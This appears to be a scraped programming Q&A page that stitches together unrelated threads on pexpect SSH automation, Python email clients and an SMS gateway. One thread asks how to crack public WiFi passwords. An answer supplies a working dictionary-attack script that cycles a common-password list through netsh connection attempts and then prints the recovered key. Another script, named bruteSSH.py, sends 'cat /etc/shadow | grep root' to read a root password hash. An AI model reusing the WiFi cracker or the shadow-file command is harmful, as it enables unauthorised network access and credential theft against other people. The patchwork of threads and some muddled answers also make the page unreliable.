So I've got a program that will ssh on to a remote server and start an iperf sever of that end.
When thats running it will iperf that sever from the client side.
It works fine when I give the IP address statically for example:
p=pexpect.spawn('ssh -t -x paddy#20.20.20.20 ' + iperf)
But not when I use:
p=pexpect.spawn('ssh -t -x paddy#'+ADDRESS+' ' + iperf)
I get a:
'pexpect.TIMEOUT'
ADDRESS is definitely going in correctly.
Any one have any ideas about whats going wrong?
#!/usr/bin/env python
import pexpect
import re
import shutil
import getpass
import struct, fcntl, os, sys, signal, time
def start_Server(iperf, password, ADDRESS):
ssh_newkey = 'Are you sure you want to continue connecting'
fix = ADDRESS+' ' + iperf
p=pexpect.spawn('ssh -t -x paddy#'+ fix)
i=p.expect([ssh_newkey,'password:',pexpect.EOF,pexpect.TIMEOUT],1)
if i==0:
print "I say yes"
p.sendline('yes')
i=p.expect([ssh_newkey,'password:',pexpect.EOF])
if i==1:
pwtp = False
trysout = True
while pwtp == False:
trysout = True
p.sendline(password)
loginStuff=p.expect(['Permission denied, please try again.','Permission denied (publickey,password).', '------------------------------------------------------------', pexpect.TIMEOUT,pexpect.EOF],1)
if loginStuff == 0:
password = getpass.getpass("Please enter "+ADDRESS+"'s Password")
elif loginStuff == 1:
print 'Sorry but you faild to login'
sys.exit(0)
pwtp = True
trysout = False
elif loginStuff == 2:
pwtp = True
i=3
elif loginStuff == 4:
pwtp = True
pass
else:
pass
elif i==2:
print "I either got key or connection timeout"
pass
elif i==4:
print "I either got key or connection timeout"
pass
if i==3: #timeout
print fix
print ADDRESS
print 'we find outselfs in a timeout'
print i
pass
return p, password
def RepresentsInt(s):
try:
int(s)
return True
except ValueError:
return False
var = raw_input("Enter the destination IP address: ")
ADDRESS = var
password = getpass.getpass("Please enter "+ADDRESS+"'s Password")
t, password = start_Server('iperf -s', password, ADDRESS)
u, password = start_Server('iperf -u -s', password, ADDRESS)
print ADDRESS
p=pexpect.spawn('ssh -t -x paddy#20.20.20.20 iperf -u -s')
ssh_newkey = 'Are you sure you want to continue connecting'
i=p.expect([ssh_newkey,'password:',pexpect.EOF])
if i == 0:
print ssh_newkey
elif i == 1:
print 'password:'
elif i == 2:
print pexpect.EOF
else:
print 'Sorry what!?'
print i
It worked when I took the pexpect ssh out of the subroutine.
Related
When I’m in public I want to have access to the internet, so I’ve been writing a script to find wifi passwords for a while now. I found a way like “dictionary attack” that I don’t like.
I found a script on the internet to connect to wifi using python:
import os
import platform
import getpass
y = "y"
Y = "Y"
n = "n"
N = "N"
def createNewConnection(name, SSID, key):
config = """<?xml version=\"1.0\"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>"""+name+"""</name>
<SSIDConfig>
<SSID>
<name>"""+SSID+"""</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>WPA2PSK</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>"""+key+"""</keyMaterial>
</sharedKey>
</security>
</MSM>
</WLANProfile>"""
if platform.system() == "Windows":
command = "netsh wlan add profile filename=\""+name+".xml\""+" interface=Wi-Fi"
with open(name+".xml", 'w') as file:
file.write(config)
elif platform.system() == "Linux":
command = "nmcli dev wifi connect '"+SSID+"' password '"+key+"'"
os.system(command)
if platform.system() == "Windows":
os.remove(name+".xml")
def connect(name, SSID):
if platform.system() == "Windows":
command = "netsh wlan connect name=\""+name+"\" ssid=\""+SSID+"\" interface=Wi-Fi"
elif platform.system() == "Linux":
command = "nmcli con up "+SSID
os.system(command)
def displayAvailableNetworks():
if platform.system() == "Windows":
command = "netsh wlan show networks interface=Wi-Fi"
elif platform.system() == "Linux":
command = "nmcli dev wifi list"
os.system(command)
try:
displayAvailableNetworks()
option = input("New connection (y/N)? ")
if option == n or option == N:
name = input("Name: ")
connect(name, name)
print("If you aren't connected to this network, try connecting with correct credentials")
elif option == y or option == Y:
name = input("Name: ")
key = getpass.getpass("Password: ")
createNewConnection(name, name, key)
connect(name, name)
print("If you aren't connected to this network, try connecting with correct credentials")
except KeyboardInterrupt as e:
print("\nExiting...")
You have to enter the password yourself in this script.
In this line
key = getpass.getpass ("Password:")
I should switch "Password:" with variable that the script would try to search for until it is successful...
I found a script to find the password and completed it. The only problem is that in this script the program knows the value of the password. With each attempt, he can check if it matches the correct password.
import itertools
import string
def guess_password(real):
chars = string.ascii_lowercase + string.digits
attempts = 0
for password_length in range(8, 9):
for guess in itertools.product(chars, repeat=password_length):
attempts += 1
guess = ''.join(guess)
if guess == real:
return 'password is {}. found in {} guesses.'.format(guess, attempts)
print(guess, attempts)
print(guess_password('abc'))
I should connect these two scripts but I don't know how. It is not clear to me how to find the value of a variable that is unknown- (password).
I would be very happy if someone could explain the above problem to me. I’m new to these things and they’re not the clearest to me. Thanks for the reply
what we think is not always right. the already in market attack tools use a completely different approach to attack and gain access.They use the handshakes to match the pass with the actual passkey and this is how they validate if it is correct or not.
You are using a very naive way and this would hardly work.Look at the complexity of this program and lets assume you try 1000000 different key. the code would run forever.
Research more learn about handshakes decryption.
I know i am late for this but i found another way that might work using your code.
It tries common passwords from a .txt file i got from gihub https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10k-most-common.txt
Here is the code.
import os
import platform
import time
import requests
url = "http://www.python.org"
timeout = 5
def createNewConnection(name, SSID, key):
config = """<?xml version=\"1.0\"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>"""+name+"""</name>
<SSIDConfig>
<SSID>
<name>"""+SSID+"""</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>WPA2PSK</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>"""+key+"""</keyMaterial>
</sharedKey>
</security>
</MSM>
</WLANProfile>"""
if platform.system() == "Windows":
command = "netsh wlan add profile filename=\""+name+".xml\""+" interface=Wi-Fi"
with open(name+".xml", 'w') as file:
file.write(config)
elif platform.system() == "Linux":
command = "nmcli dev wifi connect '"+SSID+"' password '"+key+"'"
os.system(command)
if platform.system() == "Windows":
os.remove(name+".xml")
def connect(name, SSID):
os.system("netsh wlan connect name=\""+name+"\" ssid=\""+SSID+"\" interface=Wi-Fi")
def displayAvailableNetworks():
os.system("netsh wlan show networks interface=Wi-Fi")
print("[LOADING] Searching if connected to any network")
try:
request = requests.get(url, timeout=timeout)
print("[-] Please disconnect your internet for this operation to work, try again later"), exit()
except (requests.ConnectionError, requests.Timeout) as exception:
print("[LOADING] Loading program..."), time.sleep(1)
connected = True
while connected:
try:
displayAvailableNetworks()
WIFI = input("WIFI Name: ")
with open("Brute Force\passwords.txt", "r") as f:
for line in f:
words = line.split()
if words:
print(f"Password: {words[0]}")
createNewConnection(WIFI, WIFI, words[0])
connect(WIFI, WIFI)
try:
request = requests.get(url, timeout=timeout)
connected = False
choice = input(f"[+] The password might have been cracked, are you connected to {WIFI} (y/N) ? ")
if choice == "y":
print("\n[EXITING] Operation canceled")
exit()
elif choice == "n":
print("\n[-] Operation continues\n")
except (requests.ConnectionError, requests.Timeout) as exception:
print("[LOADING] Loading program..."), time.sleep(1)
print("[+] Operation complete")
choice = input("See WIFI Information (y/N) ? ")
if choice == "y" or "Y":
print(f"[LOADING] Searching for {WIFI} network")
time.sleep(1)
os.system(f'netsh wlan show profile name="{WIFI}" key=clear')
exit()
elif choice == "n" or "N":
print("\n[EXITING] Exiting program...")
time.sleep(2)
exit()
except KeyboardInterrupt as e:
print("\n[[EXITING] Aborting program...")
exit()
Writing a script using Pexpect to connect via ssh but it is throwing an attribute error.
import pexpect
PROMPT = ['# ', '>>> ', '> ', '\$ ', '~# ']
def send_command(child, cmd):
child.sendline(cmd)
child.expect(PROMPT)
print child.before, child.after
def connect(user, host, password):
ssh_newkey = 'Are you sure you want to continue connecting (yes/no)?'
connStr = 'ssh ' + user + '#' + host
child = pexpect.spawn(connStr)
ret = child.expect([ssh_newkey, 'password:'])
if ret == 0:
print '[-] Error Connecting'
return
elif ret == 1:
child.sendline('yes')
ret = child.expect('password:')
if ret == 0:
print '[-] Error Connecting'
return
child.sendline(password)
child.expect(PROMPT)
return child
def main():
host = 'test.rebex.net'
user = 'demo'
password = 'password'
child = connect(user, host, password)
send_command(child, 'cat /etc/shadow | grep root')
if __name__ == '__main__':
main()
I am getting the following error:
[-] Error Connecting
Traceback (most recent call last):
File "./bruteSSH.py", line 33, in <module>
main()
File "./bruteSSH.py", line 31, in main
send_command(child, 'cat /etc/shadow | grep root')
File "./bruteSSH.py", line 6, in send_command
child.sendline(cmd)
AttributeError: 'NoneType' object has no attribute 'sendline'
I believe it has something to do with my child object being a 'NoneType' but I am not able to pin down what I am doing wrong.
You don't return a value on a couple of conditions. That's where you're getting your None and what is causing your error. See the commented lines below:
if ret == 0:
print '[-] Error Connecting'
return # THIS WILL CAUSE YOUR ERROR
elif ret == 1:
child.sendline('yes')
ret = child.expect('password:')
if ret == 0:
print '[-] Error Connecting'
return # THIS WILL ALSO CAUSE YOUR ERROR
But your logic is flawed anyway. Expect returns a 0 or the index of the match if you pass it an array. In your code, your passing it an array. So a return value of a 0 indicates that it successfully matched your first entry-- the "Are you sure" condition. If you match that you'd want to send the "yes". Below is more what I think you're after...
import pexpect
PROMPT = ['# ', '>>> ', '> ', '\$ ', '~# ']
def send_command(child, cmd):
child.sendline(cmd)
child.expect(PROMPT)
print child.before, child.after
def connect(user, host, password):
ssh_newkey = 'Are you sure you want to continue connecting (yes/no)?'
connStr = 'ssh ' + user + '#' + host
child = pexpect.spawn(connStr)
ret = child.expect(['password:', ssh_newkey])
if ret == 1:
child.sendline('yes')
ret = child.expect('password:')
if ret != 0:
print '[-] Error Connecting'
return # THIS WILL RETURN A NONE SO YOU SHOULD CHECK FOR IT. SHOULD EXPLICITLY DO A return None TO MAKE IT CLEARER
child.sendline(password)
child.expect(PROMPT)
return child
def main():
host = 'localhost'
user = 'demo'
password = 'password'
child = connect(user, host, password)
if child is not None:
send_command(child, 'cat /etc/shadow | grep root')
else:
print "Problem connecting!"
if __name__ == '__main__':
main()
First of all your indentation is wrong on the 6 line.
It's causing this error because the child object has not been setup yet properly and connected successfully.
If this is exactly your code then the problem is that "child.sendline()" is executed outside the function whereas child is a local variable inside the function "send_command"
so globally the child variable has not yet been defined
The problem is right in front of you. When you encounter an error in the connect function as you are as shown by the "[*] Error Connection" print statement, you return nothing. Only if the connection was successful it returns the child object, but as the connection failed you return a "Null Object" and exit out of your function. You are not able to make a successful connection and hence the child object is never returned to your "child" Variable in your main Function.
And you pass this same "Null Object" to your send_command() and hence does not work
import sys
def connect(user, host, password):
ssh_newkey = 'Are you sure you want to continue connecting (yes/no)?'
connStr = 'ssh ' + user + '#' + host
child = pexpect.spawn(connStr)
ret = child.expect([ssh_newkey, 'password:'])
if ret == 0:
print '[-] Error Connecting'
sys.exit()
elif ret == 1:
child.sendline('yes')
ret = child.expect('password:')
if ret == 0:
print '[-] Error Connecting'
sys.exit()
child.sendline(password)
child.expect(PROMPT)
return child
Now your program will only proceed if the connection was successful.
Maybe the expects and password maybe wrong, the overall problem is you are not able to make a successful connection
So for practice, I tried writing a simple program to read/write emails from the terminal/python shell. My problem is that whenever I try entering an invalid response, it ends the program rather than returning to the 'main menu,' so to speak. Same problem for when I try to give the option of quitting the program and asking the user to confirm that they want to exit. This is my code:
import smtplib
import imaplib
import email
print 'Welcome to NhuMail'
print '\n \nPlease enter your login information: \n'
user = raw_input('Email User:')
pw = raw_input("Password:")
def check_mail(user, pw):
# Login to INBOX
imap = imaplib.IMAP4_SSL("imap.gmail.com", 993)
imap.login(user, pw)
imap.select('INBOX')
# Use search(), not status()
status, response = imap.search('INBOX', '(UNSEEN)')
unread_msg_nums = response[0].split()
# Print the count of all unread messages
print '\n\nYou have %s unread messages.' % (len(unread_msg_nums))
def read_mail():
imap = imaplib.IMAP4_SSL("imap.gmail.com", 993)
imap.login(user, pw)
imap.list()
imap.select("inbox")
status, response = imap.search('INBOX', '(UNSEEN)')
unread_msg_nums = response[0].split()
result, data = imap.uid('search', None, "ALL") # search and return uids instead
latest_email_uid = data[0].split()[-1]
result, data = imap.uid('fetch', latest_email_uid, '(RFC822)')
raw_email = data[0][1]
email_message = email.message_from_string(raw_email)
print email_message['To']
print email.utils.parseaddr(email_message['From']) # for parsing "Yuji Tomita" <yuji#grovemade.com>
email_items = email_message.items()
# print all headers
print email_items[1]
print email_items[2]
print email_items[5]
print '\n'
b = email.message_from_string(raw_email)
if b.is_multipart():
for payload in b.get_payload():
# if payload.is_multipart(): ...
print payload.get_payload()
else:
print b.get_payload()
def new_mail():
from_add = user
to_add = raw_input('Enter TO address:')
msg = raw_input('Enter desired message:')
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(user,pw)
server.sendmail(from_add,to_add,msg)
def exit_mail():
confirm_exit = raw_input('Are you sure you want to exit? (Yes/No):')
server = smtplib.SMTP('smtp.gmail.com:587')
if confirm_exit == 'Yes':
server.quit()
print 'Nice Nhu-ing you! Come again soon :)'
elif confirm_exit == 'No':
return prompt
def mail_options():
prompt = raw_input('Say \'Nhu\' to compose a message \nOR \nSay \'Read\' to read unread message \nOR \nSay \'Escape\' to exit NhuMail: \n')
while True:
if prompt == 'Nhu':
new_mail()
return prompt
elif prompt == 'Read':
read_mail()
return prompt
elif prompt == 'Escape':
exit_mail()
break
else:
print 'You didn\'t enter one of the options!'
return prompt
check_mail(user,pw)
mail_options()
It looks like you want to keep calling mail_options(). You can do this with an infinite loop:
while True:
mail_options()
You could also put the loop inside mail_options():
def mail_options():
while True:
prompt = raw_input('Say \'Nhu\' to compose a message \nOR \nSay \'Read\' to read unread message \nOR \nSay \'Escape\' to exit NhuMail: \n')
while True:
if prompt == 'Nhu':
new_mail()
elif prompt == 'Read':
read_mail()
elif prompt == 'Escape':
exit_mail()
break
else:
print 'You didn\'t enter one of the options!'
Try changing your mail_options() to this:
def mail_options():
while True:
prompt = raw_input('Say \'Nhu\' to compose a message \nOR \nSay \'Read\' to read unread message \nOR \nSay \'Escape\' to exit NhuMail: \n')
if prompt == 'Nhu':
new_mail()
elif prompt == 'Read':
read_mail()
elif prompt == 'Escape':
exit_mail()
break
else:
print 'You didn\'t enter one of the options!'
You present the prompt once and then as soon as you get their result, you return what they said after running the specified function, and then because you use a return keyword, it breaks out of the loop and function and exits the program.
The issue in your program lies in mail_options(). You have an infinite loop, that can only run a single time, and then exits every time time due to the use of a return statement. Make an infinite loop to continuously show mail_options(), and it should fix your issue. You're only calling it once, which is why it exits.
You can do:
while True:
mail_options()
Another option would be asking the prompt inside the loop, and ridding the function of return statements.
def mail_options():
while True:
prompt = raw_input('Say \'Nhu\' to compose a message \nOR \nSay \'Read\' to read unread message \nOR \nSay \'Escape\' to exit NhuMail: \n')
if prompt == 'Nhu':
new_mail()
elif prompt == 'Read':
read_mail()
elif prompt == 'Escape':
exit_mail()
return # Get out of the function.
else:
print 'You didn\'t enter one of the options!'
import pexpect, re
def create_group(groupname, password):
orden = "sudo addgroup " + groupname
child = pexpect.spawn("sudo addgroup " + nombre_grupo)
expectation = child.expect(['password',pexpect.EOF pexpect.TIMEOUT])
if expectation == 0:
child.sendline(password)
else:
print("Error")
create_group("aname", "myrootpassword")
When I execute this function sometimes it works and most of the times it fails.
I don't get any error but always the password is sent. Why?
I have got this code:
import smtplib
import os
import time
import sys
import argparse
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
class smsGatewaying:
def login_gmail(self,user,password):
self.server = smtplib.SMTP("smtp.gmail.com", 587)
self.server.starttls()
try:
gmail_user = args.gmail_user
gmail_password = args.gmail_password
except SMTPAuthenticationError:
print "SMTP authentication went wrong. Most probably the server didn't accept the username/password combination provided."
finally:
if gmail_password < '1':
print 'Insert a password!'
gmail_password = getpass.getpass(prompt="Insert the GMail password: ")
else:
self.server.login(gmail_user, gmail_password)
print 'Login successfully.'
time.sleep(0.75)
x.select_country()
def select_country(self):
print 'Insert country: '
country = raw_input()
if country == 'Italy' or country == 'italy':
italian_carriers = ['number#sms.vodafone.it',
'39number#timnet.com']
select_carriers = raw_input("Select carriers: ")
if select_carriers == 'Vodafone' or select_carriers == 'vodafone':
number = 0
elif select_carriers == 'TIM' or select_carriers == 'tim' or select_carriers == 'Tim':
number = 1
else:
print "L'operatore telefonico selezionato non è disponibile."
time.sleep(0.80)
x.select_country()
x.send_message_normal(italian_carriers[number])
else:
sys.exit()
def send_message_normal(self, carriers):
msg = MIMEMultipart()
msg['sender'] = raw_input("Insert sender: ")
msg['telephone'] = input("Insert telephone number: ")
text = raw_input("Insert text: ")
msg.attach = (MIMEText(text))
carriers.replace('number',str(msg['telephone']))
final = raw_input("Are you sure?[Y/N] ")
if final == 'y' or final == 'Y':
self.server.sendmail(msg['sender'],str(msg['telephone']),text)
elif final == 'n' or final == 'N':
exit_ = raw_input("Do you want to exit?[Y/N] ")
if exit_ == 'Y' or exit_ == 'y':
print 'Run main script...'
newWorkingDirectory = '../BRES.py'
os.path.join(os.path.abspath(sys.path[0]), newWorkingDirectory)
os.system('python BRES.py')
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("gmail_user", type=str)
parser.add_argument("gmail_password",type=str)
args = parser.parse_args()
x = smsGatewaying()
print 'Welcome to SMS Gatewaying service! Multiple countries and multiple carriers are available.'
time.sleep(1)
x.login_gmail(args.gmail_user,args.gmail_password)
After the trying to send message to a number, I got this error on shell:
smtplib.SMTPRecipientsRefused: {'29403983292209': (553, "5.1.2 We
weren't able to find the recipient domain. Please check for any\n5.1.2
spelling errors, and make sure you didn't enter any spaces,
periods,\n5.1.2 or other punctuation after the recipient's email
address. a6sm58887940eei.10 - gsmtp")}
I tried all, but without solutions :(
Consider this line:
self.server.sendmail(msg['sender'],str(msg['telephone']),text)
What do you think the value of msg['telephone'] is at this point? Try printing out the value of each of the parameters to self.server.sendmail(). I believe that you will discover that msg[telephone] is the telephone number. It is not an email address.
Try using these two lines instead of the ones you have:
to = carriers.replace('number',str(msg['telephone']))
and
self.server.sendmail(msg['sender'],to,text)
After a lot of searching and crying... the error is ovoked by the email from where you are trying to send.
In my case this one was down, once changed by a functional one the mail came out as usual.
I made tests directly in console, changing the data by normal text and changing one by one until it came out.